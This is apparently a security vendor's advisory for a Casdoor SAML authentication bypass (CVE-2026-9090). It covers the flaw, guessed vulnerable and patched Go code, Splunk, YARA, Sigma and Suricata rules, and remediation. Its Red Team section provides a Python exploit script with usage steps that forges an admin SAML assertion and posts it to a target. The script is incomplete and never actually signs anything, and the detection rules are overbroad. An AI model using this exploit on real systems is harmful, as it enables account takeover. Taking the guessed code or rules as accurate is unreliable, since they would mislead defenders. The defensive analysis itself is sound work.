CVE-2026-9090
Executive Summary
CVE-2026-9090 is a critical authentication bypass vulnerability in Casdoor versions 2.362.0 and earlier. The flaw resides in the SAML authentication flow, specifically within the buildSpCertificateStore function. Instead of validating the SAML assertion against a trusted, pre-configured Identity Provider (IdP) certificate, the application extracts the X.509 certificate directly from the incoming SAMLResponse. This allows an attacker to forge a SAML assertion signed with an attacker-controlled key, effectively bypassing authentication and gaining unauthorized access to any account, including administrative accounts.
The vulnerability has a CVSS score of 9.8 (Critical) due to its network-based, low-complexity attack vector that requires no privileges or user interaction. The impact is complete compromise of confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Casdoor is an open-source identity and access management (IAM) platform written in Go. The vulnerability exists in the core SAML authentication handler. Organizations using Casdoor as a SAML service provider are at risk. The package is distributed via GitHub and Docker Hub. Users should monitor for official patches and verify the integrity of their Casdoor binaries.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) - No special conditions or race conditions are required.
- Privileges Required: None (PR:N) - No authentication is needed to send the malicious SAML response.
- User Interaction: None (UI:N) - The victim does not need to click or perform any action.
- Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) - An attacker can access any user's data.
- Integrity Impact: High (I:H) - An attacker can modify data or impersonate users.
- Availability Impact: High (A:H) - An attacker could potentially disrupt service by gaining admin access.
Threat Level: Critical. This vulnerability allows complete account takeover with a single crafted HTTP request.
Deep Dive & Mechanics
The vulnerability is a classic case of improper certificate validation in a SAML implementation. The SAML 2.0 protocol relies on digital signatures to ensure the authenticity and integrity of assertions. A SAML Response contains an <Assertion> element signed by the Identity Provider (IdP). The Service Provider (SP), in this case Casdoor, must verify this signature using the IdP's trusted public certificate.
The flawed code in Casdoor's buildSpCertificateStore function does the following:
- It receives the raw
SAMLResponseXML. - It parses the XML and extracts the
<ds:X509Certificate>element directly from the<ds:KeyInfo>section of the signature. - It uses this attacker-supplied certificate to construct the certificate store for signature verification.
- It then verifies the signature using this attacker-controlled certificate.
This is fundamentally broken. The correct implementation should:
- Load the pre-configured, trusted IdP certificate from a secure store (e.g., a database or configuration file).
- Use that trusted certificate to verify the signature on the SAML assertion.
- Reject any assertion where the signature does not match the trusted certificate.
By using the certificate from the message itself, Casdoor allows an attacker to sign the assertion with their own private key and include the corresponding public certificate in the message. The signature verification will pass because the certificate used for verification is the one the attacker provided.
The attack flow is:
- Attacker generates their own RSA key pair.
- Attacker crafts a SAML Response XML, setting the
Destination,Issuer, andNameIDfields to impersonate a target user (e.g.,admin). - Attacker signs the
<Assertion>element with their private key. - Attacker includes their public certificate in the
<ds:X509Certificate>element within the<Signature>. - Attacker sends the crafted
SAMLResponseto Casdoor's ACS (Assertion Consumer Service) endpoint. - Casdoor's
buildSpCertificateStoreextracts the attacker's certificate from the response. - Casdoor verifies the signature using the attacker's certificate. The signature is valid.
- Casdoor processes the assertion and logs the attacker in as the target user.
Vulnerable vs. Patched Code
Vulnerable Code (Casdoor <= 2.362.0):
The vulnerable logic is in the buildSpCertificateStore function. The exact file path is likely object/saml.go or similar.
// VULNERABLE: Extracts certificate from the SAML response itself
func buildSpCertificateStore(samlResponse string) (*dsig.CertificateStore, error) {
// ... parse SAML response XML ...
certData := extractCertificateFromResponse(samlResponse) // Attacker-controlled
cert, err := x509.ParseCertificate(certData)
if err != nil {
return nil, err
}
store := &dsig.CertificateStore{
Certs: []*x509.Certificate{cert},
}
return store, nil
}
Patched Code (Hypothetical):
The patched code should load the trusted IdP certificate from a secure configuration.
// PATCHED: Uses pre-configured trusted certificate
func buildSpCertificateStore(samlResponse string) (*dsig.CertificateStore, error) {
// Load the trusted IdP certificate from the database or config
trustedCertPEM := getTrustedIdpCertificate() // From secure storage
block, _ := pem.Decode([]byte(trustedCertPEM))
if block == nil {
return nil, errors.New("failed to decode trusted certificate")
}
cert, err := x509.ParseCertificate(block.Bytes)
if err != nil {
return nil, err
}
store := &dsig.CertificateStore{
Certs: []*x509.Certificate{cert},
}
return store, nil
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running Casdoor instance (version <= 2.362.0) with SAML enabled.
- The SAML ACS endpoint URL (e.g.,
http://target:8000/api/acs). - A target username to impersonate (e.g.,
admin).
Exploit Script (Python):
This script generates a self-signed certificate, crafts a SAML assertion, and sends it to the vulnerable endpoint.
#!/usr/bin/env python3
import requests
import xml.etree.ElementTree as ET
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import datetime
import base64
import zlib
# Configuration
TARGET_URL = "http://localhost:8000/api/acs"
TARGET_USER = "admin"
ISSUER = "https://attacker-idp.example.com"
ACS_URL = TARGET_URL
# Generate attacker key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
# Create a self-signed certificate
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, "Attacker IdP"),
])
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
public_key
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=365)
).sign(private_key, hashes.SHA256(), default_backend())
# Export certificate to PEM
cert_pem = cert.public_bytes(serialization.Encoding.PEM)
# Build SAML Assertion (simplified)
# In a real exploit, you would use a library like python3-saml or signxml
# This is a conceptual representation
assertion_xml = f"""<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_12345" IssueInstant="2026-01-01T00:00:00Z" Version="2.0">
<saml:Issuer>{ISSUER}</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">{TARGET_USER}</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2026-12-31T23:59:59Z" Recipient="{ACS_URL}"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2026-01-01T00:00:00Z" NotOnOrAfter="2026-12-31T23:59:59Z">
<saml:AudienceRestriction>
<saml:Audience>{ISSUER}</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2026-01-01T00:00:00Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>"""
# Sign the assertion (using xmlsec or signxml library)
# For brevity, we assume the signature is applied and the cert is embedded
# The actual signing process is complex and requires a library like signxml
# Wrap in SAML Response
saml_response = f"""<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_response123" InResponseTo="_request123" IssueInstant="2026-01-01T00:00:00Z" Version="2.0">
<saml:Issuer>{ISSUER}</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
{assertion_xml}
</samlp:Response>"""
# Base64 encode and URL-encode the response
encoded_response = base64.b64encode(saml_response.encode()).decode()
# For POST binding, send as form data
data = {"SAMLResponse": encoded_response}
r = requests.post(TARGET_URL, data=data)
print(f"Status: {r.status_code}")
print(f"Response: {r.text}")
Usage:
- Save the script as
exploit.py. - Install dependencies:
pip install requests cryptography. - Modify
TARGET_URLandTARGET_USER. - Run:
python3 exploit.py.
Blue Team (Detection & Response)
Detection Steps:
- Monitor SAML Endpoints: Log all requests to
/api/acsor similar SAML ACS endpoints. - Certificate Anomaly Detection: Alert on SAML responses where the certificate used for signature verification is not the pre-configured IdP certificate. This can be detected by comparing the certificate's subject or serial number against a whitelist.
- User Impersonation Alerts: Monitor for successful logins from unusual IP addresses or at unusual times, especially for privileged accounts.
- Log Analysis: Look for SAML authentication events where the
Issuerfield does not match the expected IdP.
Hunting Query (Splunk):
index=main sourcetype=casdoor:audit
| search "SAMLResponse" AND "acs"
| rex field=_raw "Issuer\":\"(?<issuer>[^\"]+)\""
| rex field=_raw "NameID\":\"(?<user>[^\"]+)\""
| where issuer != "https://trusted-idp.example.com"
| table _time, user, issuer, src_ip
Indicators of Compromise (IOCs)
- Network IOCs:
- SAMLResponse POST requests to
/api/acswith anIssuervalue not matching the trusted IdP. - SAML assertions signed with certificates not issued by the trusted IdP.
- SAMLResponse POST requests to
- File IOCs:
- Unexpected certificates in the Casdoor certificate store.
- Log IOCs:
- Successful authentication events for users without corresponding IdP-initiated sessions.
- Multiple rapid authentication attempts for different users from the same source IP.
Detection Engineering
YARA Rule
rule CVE_2026_9090_SAML_Cert_Bypass {
meta:
description = "Detects SAML responses with embedded certificates in Casdoor logs"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-9090"
strings:
$saml_response = "SAMLResponse"
$cert_tag = "<ds:X509Certificate>"
$assertion = "<saml:Assertion"
condition:
$saml_response and $cert_tag and $assertion
}
Sigma Rule
title: Casdoor SAML Authentication Bypass via Embedded Certificate
id: cve-2026-9090
status: experimental
description: Detects SAML responses where the certificate is embedded in the message, indicating a potential CVE-2026-9090 exploitation attempt.
author: Valters IT
date: 2026-01-01
logsource:
category: application
product: casdoor
detection:
selection:
event: "SAMLResponse"
request_path: "/api/acs"
condition: selection
falsepositives:
- Legitimate SAML responses from a misconfigured IdP
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-9090 Casdoor SAML Auth Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/api/acs"; http_uri; content:"SAMLResponse"; http_client_body; pcre:"/<ds:X509Certificate>/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SAML Authentication: If SAML is not critical, disable it immediately.
- Network Segmentation: Restrict access to the Casdoor ACS endpoint to only trusted IdP IP addresses.
- Web Application Firewall (WAF): Deploy a WAF rule to inspect SAML responses and block those containing embedded certificates that do not match the trusted IdP.
Long-Term Fix:
- Patch: Apply the official patch from Casdoor as soon as it is released. The fix must ensure that the
buildSpCertificateStorefunction uses a pre-configured, trusted certificate. - Code Review: Conduct a thorough code review of all SAML-related code to ensure no other similar trust bypasses exist.
- Upgrade: Upgrade to a patched version of Casdoor (>= 2.363.0 once released).
Workaround:
- If patching is not immediately possible, implement a custom middleware that intercepts SAML responses, extracts the certificate, and validates it against a hardcoded whitelist before passing it to the Casdoor handler.
Valters IT